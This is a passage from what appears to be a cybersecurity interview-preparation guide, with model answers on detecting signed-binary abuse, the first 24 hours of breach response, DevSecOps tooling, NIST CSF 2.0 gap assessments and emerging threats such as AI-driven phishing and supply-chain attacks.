Detection approach: Behaviour-based detection rather than signature-based. Focus on context: PowerShell executing from a user workstation at 3 AM, certutil connecting to an external IP, unusual parent-child process trees (Word.exe spawning PowerShell), base64-encoded command-line arguments. MITRE ATT&CK sub-technique T1218 covers signed binary proxy execution.

The first 24 hours of a confirmed breach require simultaneous tracks of technical containment, legal/regulatory action, and stakeholder communication. These must run in parallel, not sequentially.

Hour 0-1: Confirm and convene: Validate the breach is real and material -- not a false alarm. Immediately convene the incident response team: CISO, IT security lead, legal counsel, external IR retainer (if contracted), communications/PR, and relevant business unit heads. Activate the Incident Response Plan. Establish a secure communication channel (attackers may still have access to email).

Hour 1-4: Contain without destroying evidence: Isolate affected systems from the network without powering them off (volatile memory preservation). Revoke compromised credentials and tokens. Block identified attacker infrastructure at the perimeter. Do not begin remediation until forensic images are taken -- destroying evidence before understanding the attack scope is a common and costly mistake.

Hour 1-4: Legal and regulatory clock starts: Brief legal counsel immediately. GDPR requires notification to the ICO within 72 hours of becoming aware of a personal data breach -- the clock is already ticking. SEC requires notification of material incidents within 4 business days for public companies. HIPAA has a 60-day clock for breach notification to HHS. Understanding which regulations apply and what data was involved is a legal priority.

Hour 4-12: Scope the breach: Use SIEM, EDR, and network logs to determine: what data was accessed or exfiltrated, how the attacker got in (initial access vector), how long they were present (dwell time), what they did (TTPs, lateral movement, persistence), and what other systems may be affected.

Hour 12-24: Communications and decisions: Draft stakeholder communications for board, employees, and (if required) customers. Do not communicate externally without legal review. Decide with legal and leadership whether and when to notify law enforcement (FBI CISA for US; Action Fraud / NCSC for UK). Engage cyber insurance carrier.

DevSecOps integrates security practices into the software development lifecycle (SDLC) at every stage -- from design through development, testing, deployment, and operations -- rather than applying security as a final gate before release. "Shifting left" means moving security earlier in the development process where fixing vulnerabilities is cheaper, faster, and less disruptive.

The cost argument for shifting left: A vulnerability fixed in design costs $1 in developer time. The same vulnerability fixed in development costs $10. Found in testing: $100. Found in production after breach: $10,000+. Security gates at the end of the pipeline produce delays, friction, and expensive rework; security embedded in development catches issues when they are cheapest to fix.

Key DevSecOps practices in the CI/CD pipeline:

• Pre-commit hooks: git-secrets, detect-secrets, truffleHog run locally before code is committed. Prevents credentials from ever reaching the repository.
• SAST (Static Application Security Testing): Semgrep, Checkmarx, Veracode, SonarQube analyse source code for security vulnerabilities (injection flaws, hardcoded secrets, insecure functions) without running the code. Runs on every pull request.
• SCA (Software Composition Analysis): Snyk, OWASP Dependency-Check, GitHub Dependabot scan third-party libraries for known CVEs. Alerts when a dependency has a known vulnerability.
• Container scanning: Trivy, Grype scan container images for OS and application CVEs before they are pushed to the registry. Pipeline fails if CRITICAL CVEs are present.
• IaC scanning: Checkov, Terraform-compliance, tfsec scan Infrastructure as Code (Terraform, CloudFormation) for misconfigurations before they are deployed.
• DAST (Dynamic Application Security Testing): OWASP ZAP, Burp Suite Enterprise run against a deployed test environment in the pipeline, testing the running application for injection, authentication, and authorisation issues.
• Secret scanning in CI: GitHub Advanced Security, GitLab Secret Detection, TruffleHog CI scan every commit for secrets before they merge.

NIST CSF 2.0 (released February 2024) is a voluntary cybersecurity framework from the US National Institute of Standards and Technology. The headline change from version 1.1 was the addition of GOVERN as a sixth function, alongside the original five: IDENTIFY, PROTECT, DETECT, RESPOND, RECOVER. GOVERN covers risk management strategy, organisational context, supply chain risk, and board oversight -- recognising that cybersecurity is a business governance function, not just a technical one.

The six functions and what they mean operationally:

• GOVERN: Risk appetite defined and board-approved; policies in place; supply chain risk programme; CISO reporting structure. The governance foundation everything else depends on.
• IDENTIFY: Complete asset inventory (you cannot protect what you do not know you have); formal risk assessment; risk register maintained.
• PROTECT: MFA, patching, access controls, encryption, security awareness training, secure configuration baselines.
• DETECT: SIEM deployed; continuous monitoring; alerting on key threat indicators; threat hunting.
• RESPOND: Tested incident response plan; communication plan (regulatory notification timelines documented); CSIRT activated.
• RECOVER: Disaster recovery plan; backup restoration tested quarterly; lessons-learned process.

How I use it: Run a gap assessment scoring each of the 106 subcategories against current and target tiers (1-4). The gap between current and target is the programme roadmap. Report to the board as a heat map with a programme improvement trend over time. Use NIST's own reference tool (csrc.nist.gov) to map subcategories to ISO 27001, CIS Controls, and PCI DSS -- enabling dual-framework compliance with reduced duplication of effort.

This question tests whether you read widely and think about the threat landscape beyond your day-to-day role. A strong answer covers 3-4 substantive areas with specific reasoning, not a generic list.

• AI-powered attacks at scale: Large language models have removed the skill ceiling from social engineering. Grammatically perfect, contextually personalised spear phishing emails can now be generated at scale for any target from a LinkedIn profile. AI-generated deepfake voice and video are enabling convincing real-time impersonation attacks ($25M lost in a single deepfake video call in Hong Kong, 2024). The defence requires different controls: out-of-band verification protocols, safe words, and training that focuses on process rather than spotting "bad" grammar.
• Quantum computing and cryptographic risk: Cryptographically Relevant Quantum Computers (CRQCs) remain years away but the threat is real enough that NIST finalised post-quantum cryptography standards (FIPS 203, 204, 205) in 2024. "Harvest now, decrypt later" attacks -- where adversaries collect encrypted traffic today to decrypt when quantum computers arrive -- are already occurring against long-term secrets. Organisations handling data with a 10+ year sensitivity requirement must begin PQC migration planning now.
• OT/ICS and critical infrastructure targeting: Attacks against operational technology -- power grids, water treatment, manufacturing -- are increasing in frequency and sophistication. OT environments typically run legacy systems that cannot be patched, with poor segmentation from IT networks and limited monitoring capability. The Volt Typhoon campaign demonstrated nation-state pre-positioning in US critical infrastructure. This is an area where defensive investment significantly lags the threat.
• Supply chain and open-source ecosystem attacks: The XZ Utils backdoor (2024) demonstrated a sophisticated multi-year social engineering campaign to insert a backdoor into a widely-used open-source library. As software supply chains grow more complex and interconnected, single points of failure emerge that can affect millions of organisations simultaneously. SBOM adoption and dependency integrity verification are growing priorities.